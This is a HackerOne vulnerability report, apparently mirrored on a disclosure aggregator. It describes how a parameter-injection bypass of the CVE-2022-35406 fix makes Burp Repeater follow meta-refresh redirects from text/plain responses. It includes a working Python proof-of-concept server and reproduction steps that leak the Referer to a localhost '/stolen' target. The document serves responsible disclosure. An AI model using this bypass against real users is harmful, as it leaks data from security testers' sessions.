HACKERONE 4.3 MEDIUM

PortSwigger Web Security: Incomplete fix for CVE-2022-35406: meta-redirect content-type check bypassable via parameter injection_H1:3775183

4.3 / 10
MEDIUM
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Description

The fix for CVE-2022-35406 (#1541301) stops Burp from following a <meta http-equiv="refresh"> redirect when the response Content-Type/Content-Disposition would prevent HTML rendering. The check substring-matches html in the raw Content-Type instead of parsing the media type. A text/plain response can smuggle the token via a parameter (e.g. Content-Type: text/plain; x=html), and Burp again offers and follows the meta redirect reintroducing the patched behaviour.

## Root cause
The content-type guard searches for the substring html in the raw header value rather than parsing the media type and discarding parameters. Any html token in a parameter name, value, quoted or not satisfies the check while the real MIME type stays text/plain.

### Steps to reproduce
1. server.py
```
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer

META = ('<html><head><meta http-equiv="refresh" '
'content="0;url=http://127.0.0.1:9000/stolen"></head><body>x</body></html>')

CASES = {
"/ct_plain": "text/plain", # control: blocked
"/ct_param_plain": "text/plain; x=hello", # control: blocked (no 'html')
"/ct_param_html": "text/plain; x=html", # BYPASS: followed
"/ct_texthtml": "text/plain; x=text/html", # BYPASS: followed
"/ct_quoted": 'text/plain; x="text/html"', # BYPASS: followed
}

class H(BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def log_message(self, *a): pass
def do_GET(self):
ct = CASES.get(self.path)
if ct is None:
self.send_response(404); self.send_header("Content-Length","0")
self.send_header("Connection","close"); self.end_headers(); return
b = META.encode()
self.send_response(200)
self.send_header("Content-Type", ct)
self.send_header("Content-Length", str(len(b)))
self.send_header("Connection", "close")
self.end_headers()
try: self.wfile.write(b)
except BrokenPipeError: pass
self.close_connection = True

if __name__ == "__main__":
print("PoC server on http://127.0.0.1:8000")
HTTPServer(("127.0.0.1", 8000), H).serve_forever()

```
2. Run

`` python3 server.py ``

3. In Repeater (HTTP/1), send this request:

```
GET /ct_param_html HTTP/1.1
Host: 127.0.0.1:8000
Referer: http://127.0.0.1:8000/secret-page
Connection: close
```

4. The response is Content-Type: text/plain (with a bogus ; x=html parameter) containing a <meta http-equiv="refresh"> redirect. Despite the non-renderable text/plain type, the Follow redirection button appears.
5. Click Follow redirection → Burp follows the meta redirect and issues the request to the redirect target, sending the Referer header.
6. (Control) Repeat with GET /ct_param_plain (text/plain; x=hello, no html token) → no Follow redirection button, not followed. This confirms the html substring is what triggers the bypass.

Click Follow redirection:


POC
{F6021058}

It discloses the referer header

## Impact

A text/plain response that should be treated as non-renderable is again interpreted as a redirect in Repeater/Intruder, re-enabling the meta-redirect follow that CVE-2022-35406 patched.
Visit Original Source

Basic Information

ID H1:3775183
Published Jun 1, 2026 at 17:41
Modified Jun 2, 2026 at 15:02

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.